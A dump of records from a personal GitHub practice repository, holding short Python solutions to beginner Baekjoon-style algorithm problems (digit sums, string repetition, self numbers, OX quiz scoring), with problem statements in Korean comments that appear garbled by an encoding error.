"Python", "length_bytes": 1098, "license_type": "no_license", "max_line_length": 128, "num_lines": 37, "path": "/str/test_2675_str.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ๋ฌธ์ž์—ด S๋ฅผ ์ž…๋ ฅ๋ฐ›์€ ํ›„์—, ๊ฐ ๋ฌธ์ž๋ฅผ R๋ฒˆ ๋ฐ˜๋ณตํ•ด ์ƒˆ ๋ฌธ์ž์—ด P๋ฅผ ๋งŒ๋“  ํ›„ ์ถœ๋ ฅํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค. \n# ์ฆ‰, ์ฒซ ๋ฒˆ์งธ ๋ฌธ์ž๋ฅผ R๋ฒˆ ๋ฐ˜๋ณตํ•˜๊ณ , ๋‘ ๋ฒˆ์งธ ๋ฌธ์ž๋ฅผ R๋ฒˆ ๋ฐ˜๋ณตํ•˜๋Š” ์‹์œผ๋กœ P๋ฅผ ๋งŒ๋“ค๋ฉด ๋œ๋‹ค. \n# S์—๋Š” QR Code \"alphanumeric\" ๋ฌธ์ž๋งŒ ๋“ค์–ด์žˆ๋‹ค.\n\n# QR Code \"alphanumeric\" ๋ฌธ์ž๋Š” 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\\$%*+-./: ์ด๋‹ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค์˜ ๊ฐœ์ˆ˜ T(1 โ‰ค T โ‰ค 1,000)๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. ๊ฐ ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค๋Š” ๋ฐ˜๋ณต ํšŸ์ˆ˜ R(1 โ‰ค R โ‰ค 8), ๋ฌธ์ž์—ด S๊ฐ€ ๊ณต๋ฐฑ์œผ๋กœ ๊ตฌ๋ถ„๋˜์–ด ์ฃผ์–ด์ง„๋‹ค. S์˜ ๊ธธ์ด๋Š” ์ ์–ด๋„ 1์ด๋ฉฐ, 20๊ธ€์ž๋ฅผ ๋„˜์ง€ ์•Š๋Š”๋‹ค. \n\n# ์ถœ๋ ฅ\n# ๊ฐ ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค์— ๋Œ€ํ•ด P๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์˜ˆ์ œ ์ž…๋ ฅ 1 \n# 2\n# 3 ABC\n# 5 /HTP\n\n# ์˜ˆ์ œ ์ถœ๋ ฅ 1 \n# AAABBBCCC\n# /////HHHHHTTTTTPPPPP\n\n\nr = int(input())\n\nfor i in range(r):\n s = list(map(str, input().split()))\n \n\n rpt = int(s[0])\n a = s[1]\n n_word = \"\" #๋ฌธ์ž์—ด์€ ๊ณต๋ฐฑ์œผ๋กœ \n\n for j in range(len(a)):\n n_word += a[j] *rpt\n\n print(n_word)\n " }, { "alpha_fraction": 0.5641025900840759, "alphanum_fraction": 0.5824176073074341, "avg_line_length": 14.11111068725586, "blob_id": "e1bbca4c814bc6b2af08340b3f25c00135f46190", "content_id": "483cd9e59e2f31e98db8aa9b5cc19bd4ac880a52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 455, "license_type": "no_license", "max_line_length": 61, "num_lines": 18, "path": "/str/test_11720_str.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# N๊ฐœ์˜ ์ˆซ์ž๊ฐ€ ๊ณต๋ฐฑ ์—†์ด ์“ฐ์—ฌ์žˆ๋‹ค. ์ด ์ˆซ์ž๋ฅผ ๋ชจ๋‘ ํ•ฉํ•ด์„œ ์ถœ๋ ฅํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— ์ˆซ์ž์˜ ๊ฐœ์ˆ˜ N (1 โ‰ค N โ‰ค 100)์ด ์ฃผ์–ด์ง„๋‹ค. ๋‘˜์งธ ์ค„์— ์ˆซ์ž N๊ฐœ๊ฐ€ ๊ณต๋ฐฑ์—†์ด ์ฃผ์–ด์ง„๋‹ค.\n\n# ์ถœ๋ ฅ\n# ์ž…๋ ฅ์œผ๋กœ ์ฃผ์–ด์ง„ ์ˆซ์ž N๊ฐœ์˜ ํ•ฉ์„ ์ถœ๋ ฅํ•œ๋‹ค.\n\nn = int(input())\nnum = list(input())\n\na = 0\nfor i in num:\n a += int(i)\n# result = a\nprint(a)\n# print(result)\n\n" }, { "alpha_fraction": 0.4316546618938446, "alphanum_fraction": 0.4460431635379791, "avg_line_length": 22.33333396911621, "blob_id": "a590d2b9444e0b925c0d56ebd96ad475eeaac14c", "content_id": "9a5be231064079595d025cc3937f2b3aa7273354", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 139, "license_type": "no_license", "max_line_length": 48, "num_lines": 6, "path": "/test_11022_for.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "n = int(input())\nm = 0\nfor i in range(n):\n a, b = map(int, input().split())\n m = i+1\n print(\"Case #%d: %d + %d = %d\" %(m,a,b,a+b))" }, { "alpha_fraction": 0.5403329133987427, "alphanum_fraction": 0.5800256133079529, "avg_line_length": 15.956521987915039, "blob_id": "f8e4643b5477c3cc75d747028da4742c341b7410", "content_id": "58479231584aa3469dedb0023bdea0bf72f0257d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1227, "license_type": "no_license", "max_line_length": 69, "num_lines": 46, "path": "/arr/test_8958_arr.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# OOXXOXXOOO\"์™€ ๊ฐ™์€ OXํ€ด์ฆˆ์˜ ๊ฒฐ๊ณผ๊ฐ€ ์žˆ๋‹ค. O๋Š” ๋ฌธ์ œ๋ฅผ ๋งž์€ ๊ฒƒ์ด๊ณ , X๋Š” ๋ฌธ์ œ๋ฅผ ํ‹€๋ฆฐ ๊ฒƒ์ด๋‹ค. \n# ๋ฌธ์ œ๋ฅผ ๋งž์€ ๊ฒฝ์šฐ ๊ทธ ๋ฌธ์ œ์˜ ์ ์ˆ˜๋Š” ๊ทธ ๋ฌธ์ œ๊นŒ์ง€ ์—ฐ์†๋œ O์˜ ๊ฐœ์ˆ˜๊ฐ€ ๋œ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, 10๋ฒˆ ๋ฌธ์ œ์˜ ์ ์ˆ˜๋Š” 3์ด ๋œ๋‹ค.\n\n# \"OOXXOXXOOO\"์˜ ์ ์ˆ˜๋Š” 1+2+0+0+1+0+0+1+2+3 = 10์ ์ด๋‹ค.\n\n# OXํ€ด์ฆˆ์˜ ๊ฒฐ๊ณผ๊ฐ€ ์ฃผ์–ด์กŒ์„ ๋•Œ, ์ ์ˆ˜๋ฅผ ๊ตฌํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค์˜ ๊ฐœ์ˆ˜๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. ๊ฐ ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค๋Š” ํ•œ ์ค„๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๊ณ , \n# ๊ธธ์ด๊ฐ€ 0๋ณด๋‹ค ํฌ๊ณ  80๋ณด๋‹ค ์ž‘์€ ๋ฌธ์ž์—ด์ด ์ฃผ์–ด์ง„๋‹ค. ๋ฌธ์ž์—ด์€ O์™€ X๋งŒ์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.\n\n# ์ถœ๋ ฅ\n# ๊ฐ ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค๋งˆ๋‹ค ์ ์ˆ˜๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์ž…๋ ฅ\n# 5\n# OOXXOXXOOO\n# OOXXOOXXOO\n# OXOXOXOXOXOXOX\n# OOOOOOOOOO\n# OOOOXOOOOXOOOOX\n\n# ์ถœ๋ ฅ\n# 10\n# 9\n# 7\n# 55\n# 30\n\nnum = int(input())\n\nfor i in range(num):\n test = list(input())\n score = 0\n total_score = 0\n\n for j in test:\n if j == \"O\":\n score += 1\n total_score += score\n else:\n score = 0\n\n print(total_score)\n \n#๋ฌธ์ž, ์ˆซ์ž ๋ถ™์—ฌ์„œ ์ž…๋ ฅํ•ด๋„ ๋ฆฌ์ŠคํŠธ๋กœ ๊ฐ์‹ธ์ฃผ๋ฉด ํ•˜๋‚˜ํ•˜๋‚˜ ๋ถ„๋ฆฌ๋จ \n" }, { "alpha_fraction": 0.43034350872039795, "alphanum_fraction": 0.5572519302368164, "avg_line_length": 25.743589401245117, "blob_id": "4203d22d01232429971153a1f9e7cef2de02a081", "content_id": "dc3c1de59efe12b4c1a8dfe29d8a429ff5c6eae6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1698, "license_type": "no_license", "max_line_length": 127, "num_lines": 39, "path": "/while&def/test_4673_def.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ์…€ํ”„ ๋„˜๋ฒ„๋Š” 1949๋…„ ์ธ๋„ ์ˆ˜ํ•™์ž D.R. Kaprekar๊ฐ€ ์ด๋ฆ„ ๋ถ™์˜€๋‹ค. ์–‘์˜ ์ •์ˆ˜ n์— ๋Œ€ํ•ด์„œ d(n)์„ n๊ณผ n์˜ ๊ฐ ์ž๋ฆฌ์ˆ˜๋ฅผ ๋”ํ•˜๋Š” ํ•จ์ˆ˜๋ผ๊ณ  ์ •์˜ํ•˜์ž. ์˜ˆ๋ฅผ ๋“ค์–ด, d(75) = 75+7+5 = 87์ด๋‹ค.\n\n# ์–‘์˜ ์ •์ˆ˜ n์ด ์ฃผ์–ด์กŒ์„ ๋•Œ, ์ด ์ˆ˜๋ฅผ ์‹œ์ž‘ํ•ด์„œ n, d(n), d(d(n)), d(d(d(n))), ...๊ณผ ๊ฐ™์€ ๋ฌดํ•œ ์ˆ˜์—ด์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค. \n\n# ์˜ˆ๋ฅผ ๋“ค์–ด, 33์œผ๋กœ ์‹œ์ž‘ํ•œ๋‹ค๋ฉด ๋‹ค์Œ ์ˆ˜๋Š” 33 + 3 + 3 = 39์ด๊ณ , ๊ทธ ๋‹ค์Œ ์ˆ˜๋Š” 39 + 3 + 9 = 51, ๋‹ค์Œ ์ˆ˜๋Š” 51 + 5 + 1 = 57์ด๋‹ค. ์ด๋Ÿฐ์‹์œผ๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ˆ˜์—ด์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค.\n\n# 33, 39, 51, 57, 69, 84, 96, 111, 114, 120, 123, 129, 141, ...\n\n# n์„ d(n)์˜ ์ƒ์„ฑ์ž๋ผ๊ณ  ํ•œ๋‹ค. ์œ„์˜ ์ˆ˜์—ด์—์„œ 33์€ 39์˜ ์ƒ์„ฑ์ž์ด๊ณ , 39๋Š” 51์˜ ์ƒ์„ฑ์ž, 51์€ 57์˜ ์ƒ์„ฑ์ž์ด๋‹ค. ์ƒ์„ฑ์ž๊ฐ€ ํ•œ ๊ฐœ๋ณด๋‹ค ๋งŽ์€ ๊ฒฝ์šฐ๋„ ์žˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, 101์€ ์ƒ์„ฑ์ž๊ฐ€ 2๊ฐœ(91๊ณผ 100) ์žˆ๋‹ค. \n\n# ์ƒ์„ฑ์ž๊ฐ€ ์—†๋Š” ์ˆซ์ž๋ฅผ ์…€ํ”„ ๋„˜๋ฒ„๋ผ๊ณ  ํ•œ๋‹ค. 100๋ณด๋‹ค ์ž‘์€ ์…€ํ”„ ๋„˜๋ฒ„๋Š” ์ด 13๊ฐœ๊ฐ€ ์žˆ๋‹ค. 1, 3, 5, 7, 9, 20, 31, 42, 53, 64, 75, 86, 97\n\n# 10000๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™์€ ์…€ํ”„ ๋„˜๋ฒ„๋ฅผ ํ•œ ์ค„์— ํ•˜๋‚˜์”ฉ ์ถœ๋ ฅํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n\n\n\n# n์ด ์ฃผ์–ด์ง\n#๋ฌธ์ž์—ด๋กœ ๋ฐ”๊พธ์ฃผ๊ณ  list๋กœ ๊ฐ์‹ธ์ฃผ๋ฉด ๊ฐ ์ˆซ์ž ๋ณ„๋กœ ๋‚˜๋‰˜๊ฒŒ 23 -> 2, 3\n# ์กฐ๊ฑด์„ ํ•จ์ˆ˜๋กœ ๋งŒ๋“ค๊ณ  ์กฐ๊ฑด์— ๋งž๋Š” ์ˆ˜๋Š” ๋ฆฌ์ŠคํŠธ์— ์ถ”๊ฐ€\n# ์กฐ๊ฑด ๋งž์ง€ ์•Š๋Š” ๊ฒƒ์€ ๋ฆฌ์ŠคํŠธ์— ์—†์œผ๋‹ˆ ๋ฆฌ์ŠคํŠธ์— ์—†๋Š” ๊ฒƒ์„ ์ถœ๋ ฅ\n\ndef d(n):\n \n a = 0\n for i in list(str(n)):\n a += int(i)\n b = a+ int(n)\n return b\n\nlst = []\nfor j in range(1,10001):\n num = d(j)\n lst.append(num)\n\nfor k in range(1,10001):\n if k not in lst:\n print(k)\n " }, { "alpha_fraction": 0.3257142901420593, "alphanum_fraction": 0.4399999976158142, "avg_line_length": 18.22222137451172, "blob_id": "f5bbcffe69f993f6b0a9c1c28e01f7f92845e3e0", "content_id": "1eb2eea30434c18602572e89b2e42e148591be88", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 175, "license_type": "no_license", "max_line_length": 32, "num_lines": 9, "path": "/test2884.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "h, m = map(int, input().split())\n\nif m >= 45:\n print(h,m-45)\nelif m < 45:\n if h==0 and m < 45:\n print(23, ((m+60)-45))\n else:\n print(h-1,((m+60)-45))\n\n\n" }, { "alpha_fraction": 0.5651438236236572, "alphanum_fraction": 0.5854483842849731, "avg_line_length": 21.769229888916016, "blob_id": "effc71bd2e7509c06edfd2530a3c9ef9ecdaa99b", "content_id": "e3197887288816f317b6222a7b8ede4302758b57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1077, "license_type": "no_license", "max_line_length": 110, "num_lines": 26, "path": "/str/test_10809_str.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ์•ŒํŒŒ๋ฒณ ์†Œ๋ฌธ์ž๋กœ๋งŒ ์ด๋ฃจ์–ด์ง„ ๋‹จ์–ด S๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. ๊ฐ๊ฐ์˜ ์•ŒํŒŒ๋ฒณ์— ๋Œ€ํ•ด์„œ, ๋‹จ์–ด์— ํฌํ•จ๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ์—๋Š” ์ฒ˜์Œ ๋“ฑ์žฅํ•˜๋Š” ์œ„์น˜๋ฅผ, ํฌํ•จ๋˜์–ด ์žˆ์ง€ ์•Š์€ ๊ฒฝ์šฐ์—๋Š” -1์„ ์ถœ๋ ฅํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— ๋‹จ์–ด S๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. ๋‹จ์–ด์˜ ๊ธธ์ด๋Š” 100์„ ๋„˜์ง€ ์•Š์œผ๋ฉฐ, ์•ŒํŒŒ๋ฒณ ์†Œ๋ฌธ์ž๋กœ๋งŒ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.\n\n# ์ถœ๋ ฅ\n# ๊ฐ๊ฐ์˜ ์•ŒํŒŒ๋ฒณ์— ๋Œ€ํ•ด์„œ, a๊ฐ€ ์ฒ˜์Œ ๋“ฑ์žฅํ•˜๋Š” ์œ„์น˜, b๊ฐ€ ์ฒ˜์Œ ๋“ฑ์žฅํ•˜๋Š” ์œ„์น˜, ... z๊ฐ€ ์ฒ˜์Œ ๋“ฑ์žฅํ•˜๋Š” ์œ„์น˜๋ฅผ ๊ณต๋ฐฑ์œผ๋กœ ๊ตฌ๋ถ„ํ•ด์„œ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ๋งŒ์•ฝ, ์–ด๋–ค ์•ŒํŒŒ๋ฒณ์ด ๋‹จ์–ด์— ํฌํ•จ๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด -1์„ ์ถœ๋ ฅํ•œ๋‹ค. ๋‹จ์–ด์˜ ์ฒซ ๋ฒˆ์งธ ๊ธ€์ž๋Š” 0๋ฒˆ์งธ ์œ„์น˜์ด๊ณ , ๋‘ ๋ฒˆ์งธ ๊ธ€์ž๋Š” 1๋ฒˆ์งธ ์œ„์น˜์ด๋‹ค.\n\n\n\n# a ~ z๋Š” ์•„์Šคํ‚ค ์ฝ”๋“œ๋กœ ํ•ด๋ณด์ž\n# for ๋ฌธ ๋Œ๋ฆฌ๊ณ  i ๋ฅผ ๋‹ค์‹œ ๋ฌธ์ž๋กœ \n\nS = input()\nfor i in range(97,123):\n print(S.find(chr(i)), end = \" \")\n\n\n# A = input()\n# lst = ['a', 'b','c',..........]\n\n# for i in range(len(lst)):\n# print(A.find(lst[i]), end = \" \")" }, { "alpha_fraction": 0.43909773230552673, "alphanum_fraction": 0.557894766330719, "avg_line_length": 16.473684310913086, "blob_id": "18049ccff9232e7ecc19bd37ec9be477f9940d14", "content_id": "faa4cf5dcd9a8f24648a37748d8ce523f7856e8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1055, "license_type": "no_license", "max_line_length": 83, "num_lines": 38, "path": "/test_2577_arr.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ์„ธ ๊ฐœ์˜ ์ž์—ฐ์ˆ˜ A, B, C๊ฐ€ ์ฃผ์–ด์งˆ ๋•Œ A ร— B ร— C๋ฅผ ๊ณ„์‚ฐํ•œ ๊ฒฐ๊ณผ์— \n# 0๋ถ€ํ„ฐ 9๊นŒ์ง€ ๊ฐ๊ฐ์˜ ์ˆซ์ž๊ฐ€ ๋ช‡ ๋ฒˆ์”ฉ ์“ฐ์˜€๋Š”์ง€๋ฅผ ๊ตฌํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์˜ˆ๋ฅผ ๋“ค์–ด A = 150, B = 266, C = 427 ์ด๋ผ๋ฉด A ร— B ร— C = 150 ร— 266 ร— 427 = 17037300 ์ด ๋˜๊ณ , \n# ๊ณ„์‚ฐํ•œ ๊ฒฐ๊ณผ 17037300 ์—๋Š” 0์ด 3๋ฒˆ, 1์ด 1๋ฒˆ, 3์ด 2๋ฒˆ, 7์ด 2๋ฒˆ ์“ฐ์˜€๋‹ค.\n\n# ์ž…๋ ฅ ์ฒซ์งธ ์ค„์— A, ๋‘˜์งธ ์ค„์— B, ์…‹์งธ ์ค„์— C๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. A, B, C๋Š” ๋ชจ๋‘ 100๋ณด๋‹ค ํฌ๊ฑฐ๋‚˜ ๊ฐ™๊ณ , 1,000๋ณด๋‹ค ์ž‘์€ ์ž์—ฐ์ˆ˜์ด๋‹ค.\n# ์ถœ๋ ฅ\n# ์ฒซ์งธ ์ค„์—๋Š” A ร— B ร— C์˜ ๊ฒฐ๊ณผ์— 0 ์ด ๋ช‡ ๋ฒˆ ์“ฐ์˜€๋Š”์ง€ ์ถœ๋ ฅํ•œ๋‹ค. \n# ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๋‘˜์งธ ์ค„๋ถ€ํ„ฐ ์—ด ๋ฒˆ์งธ ์ค„๊นŒ์ง€ A ร— B ร— C์˜ ๊ฒฐ๊ณผ์— 1๋ถ€ํ„ฐ 9๊นŒ์ง€์˜ ์ˆซ์ž๊ฐ€ ๊ฐ๊ฐ ๋ช‡ ๋ฒˆ ์“ฐ์˜€๋Š”์ง€ ์ฐจ๋ก€๋กœ ํ•œ ์ค„์— ํ•˜๋‚˜์”ฉ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์ž…๋ ฅ\n# 150\n# 266\n# 427\n\n# ์ถœ๋ ฅ\n# 3\n# 1\n# 0\n# 2\n# 0\n# 0\n# 0\n# 2\n# 0\n# 0\n\n\nrst = []\n\nfor i in range(3):\n rst.append(int(input()))\n\nrst = list(str(rst[0]*rst[1]*rst[2]))\n\nfor i in range(10):\n print(rst.count(str(i)))\n\n" }, { "alpha_fraction": 0.4793103337287903, "alphanum_fraction": 0.5448275804519653, "avg_line_length": 17.53191566467285, "blob_id": "adf62aeee66fe560fb71ceaacffe07eb8a51d47f", "content_id": "150002a2681179175ecd35850493eec0489e5a3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1510, "license_type": "no_license", "max_line_length": 192, "num_lines": 47, "path": "/test_1110_while.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# 0๋ณด๋‹ค ํฌ๊ฑฐ๋‚˜ ๊ฐ™๊ณ , 99๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™์€ ์ •์ˆ˜๊ฐ€ ์ฃผ์–ด์งˆ ๋•Œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์—ฐ์‚ฐ์„ ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋จผ์ € ์ฃผ์–ด์ง„ ์ˆ˜๊ฐ€ 10๋ณด๋‹ค ์ž‘๋‹ค๋ฉด ์•ž์— 0์„ ๋ถ™์—ฌ ๋‘ ์ž๋ฆฌ ์ˆ˜๋กœ ๋งŒ๋“ค๊ณ , ๊ฐ ์ž๋ฆฌ์˜ ์ˆซ์ž๋ฅผ ๋”ํ•œ๋‹ค. ๊ทธ ๋‹ค์Œ, ์ฃผ์–ด์ง„ ์ˆ˜์˜ ๊ฐ€์žฅ ์˜ค๋ฅธ์ชฝ ์ž๋ฆฌ ์ˆ˜์™€ ์•ž์—์„œ ๊ตฌํ•œ ํ•ฉ์˜ ๊ฐ€์žฅ ์˜ค๋ฅธ์ชฝ ์ž๋ฆฌ ์ˆ˜๋ฅผ ์ด์–ด ๋ถ™์ด๋ฉด ์ƒˆ๋กœ์šด ์ˆ˜๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค. ๋‹ค์Œ ์˜ˆ๋ฅผ ๋ณด์ž.\n\n# 26๋ถ€ํ„ฐ ์‹œ์ž‘ํ•œ๋‹ค. 2+6 = 8์ด๋‹ค. ์ƒˆ๋กœ์šด ์ˆ˜๋Š” 68์ด๋‹ค. 6+8 = 14์ด๋‹ค. ์ƒˆ๋กœ์šด ์ˆ˜๋Š” 84์ด๋‹ค. 8+4 = 12์ด๋‹ค. ์ƒˆ๋กœ์šด ์ˆ˜๋Š” 42์ด๋‹ค. 4+2 = 6์ด๋‹ค. ์ƒˆ๋กœ์šด ์ˆ˜๋Š” 26์ด๋‹ค.\n\n# ์œ„์˜ ์˜ˆ๋Š” 4๋ฒˆ๋งŒ์— ์›๋ž˜ ์ˆ˜๋กœ ๋Œ์•„์˜ฌ ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ 26์˜ ์‚ฌ์ดํด์˜ ๊ธธ์ด๋Š” 4์ด๋‹ค.\n\n# N์ด ์ฃผ์–ด์กŒ์„ ๋•Œ, N์˜ ์‚ฌ์ดํด์˜ ๊ธธ์ด๋ฅผ ๊ตฌํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— N์ด ์ฃผ์–ด์ง„๋‹ค. N์€ 0๋ณด๋‹ค ํฌ๊ฑฐ๋‚˜ ๊ฐ™๊ณ , 99๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™์€ ์ •์ˆ˜์ด๋‹ค.\n\n# ์ถœ๋ ฅ\n# ์ฒซ์งธ ์ค„์— N์˜ ์‚ฌ์ดํด ๊ธธ์ด๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์˜ˆ์ œ ์ž…๋ ฅ 1 ๋ณต์‚ฌ\n# 26\n# ์˜ˆ์ œ ์ถœ๋ ฅ 1 ๋ณต์‚ฌ\n# 4\n# ์˜ˆ์ œ ์ž…๋ ฅ 2 ๋ณต์‚ฌ\n# 55\n# ์˜ˆ์ œ ์ถœ๋ ฅ 2 ๋ณต์‚ฌ\n# 3\n\n\n# ์นด์šดํ„ฐ ๋งŒ๋“ค๊ธฐ / ์ž…๋ ฅ๋ฐ›๊ธฐ / ์›๋ž˜ ๊ฐ’ ํ™•์ธ\n# while๋ฌธ ์ผ์˜์ž๋ฆฌ ์‹ญ์˜์ž๋ฆฌ ์—ฐ์‚ฐ ....\n# break / print\n\n\n\ni = 0\nnum = int(input())\n\nchk = num\nwhile True:\n \n n = num%10 \n sum = (num//10)+ n \n new_num = n*10 + sum%10\n i += 1\n num = new_num \n\n if chk == num:\n break\n\nprint(i)" }, { "alpha_fraction": 0.5190010666847229, "alphanum_fraction": 0.5472312569618225, "avg_line_length": 19.909090042114258, "blob_id": "4a16e510048a1478c2f32102aa31886b5fb234dc", "content_id": "5b6ac2a6cbedc29531a39550c091bb22a46f5c14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1603, "license_type": "no_license", "max_line_length": 70, "num_lines": 44, "path": "/math1/test_2775_math.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ํ‰์†Œ ๋ฐ˜์ƒํšŒ์— ์ฐธ์„ํ•˜๋Š” ๊ฒƒ์„ ์ข‹์•„ํ•˜๋Š” ์ฃผํฌ๋Š” ์ด๋ฒˆ ๊ธฐํšŒ์— ๋ถ€๋…€ํšŒ์žฅ์ด ๋˜๊ณ  ์‹ถ์–ด \n# ๊ฐ ์ธต์˜ ์‚ฌ๋žŒ๋“ค์„ ๋ถˆ๋Ÿฌ ๋ชจ์•„ ๋ฐ˜์ƒํšŒ๋ฅผ ์ฃผ์ตœํ•˜๋ ค๊ณ  ํ•œ๋‹ค.\n\n# ์ด ์•„ํŒŒํŠธ์— ๊ฑฐ์ฃผ๋ฅผ ํ•˜๋ ค๋ฉด ์กฐ๊ฑด์ด ์žˆ๋Š”๋ฐ, \n# โ€œa์ธต์˜ bํ˜ธ์— ์‚ด๋ ค๋ฉด ์ž์‹ ์˜ ์•„๋ž˜(a-1)์ธต์˜ 1ํ˜ธ๋ถ€ํ„ฐ bํ˜ธ๊นŒ์ง€ ์‚ฌ๋žŒ๋“ค์˜ ์ˆ˜์˜ ํ•ฉ๋งŒํผ ์‚ฌ๋žŒ๋“ค์„ ๋ฐ๋ ค์™€ ์‚ด์•„์•ผ ํ•œ๋‹คโ€ ๋Š” \n# ๊ณ„์•ฝ ์กฐํ•ญ์„ ๊ผญ ์ง€ํ‚ค๊ณ  ๋“ค์–ด์™€์•ผ ํ•œ๋‹ค.\n\n# ์•„ํŒŒํŠธ์— ๋น„์–ด์žˆ๋Š” ์ง‘์€ ์—†๊ณ  ๋ชจ๋“  ๊ฑฐ์ฃผ๋ฏผ๋“ค์ด ์ด ๊ณ„์•ฝ ์กฐ๊ฑด์„ ์ง€ํ‚ค๊ณ  ์™”๋‹ค๊ณ  ๊ฐ€์ •ํ–ˆ์„ ๋•Œ, \n# ์ฃผ์–ด์ง€๋Š” ์–‘์˜ ์ •์ˆ˜ k์™€ n์— ๋Œ€ํ•ด k์ธต์— nํ˜ธ์—๋Š” ๋ช‡ ๋ช…์ด ์‚ด๊ณ  ์žˆ๋Š”์ง€ ์ถœ๋ ฅํ•˜๋ผ. \n# ๋‹จ, ์•„ํŒŒํŠธ์—๋Š” 0์ธต๋ถ€ํ„ฐ ์žˆ๊ณ  ๊ฐ์ธต์—๋Š” 1ํ˜ธ๋ถ€ํ„ฐ ์žˆ์œผ๋ฉฐ, 0์ธต์˜ iํ˜ธ์—๋Š” i๋ช…์ด ์‚ฐ๋‹ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ ๋ฒˆ์งธ ์ค„์— Test case์˜ ์ˆ˜ T๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๊ฐ๊ฐ์˜ ์ผ€์ด์Šค๋งˆ๋‹ค ์ž…๋ ฅ์œผ๋กœ \n# ์ฒซ ๋ฒˆ์งธ ์ค„์— ์ •์ˆ˜ k, ๋‘ ๋ฒˆ์งธ ์ค„์— ์ •์ˆ˜ n์ด ์ฃผ์–ด์ง„๋‹ค\n\n# ์ถœ๋ ฅ\n# ๊ฐ๊ฐ์˜ Test case์— ๋Œ€ํ•ด์„œ ํ•ด๋‹น ์ง‘์— ๊ฑฐ์ฃผ๋ฏผ ์ˆ˜๋ฅผ ์ถœ๋ ฅํ•˜๋ผ.\n\n# ์ 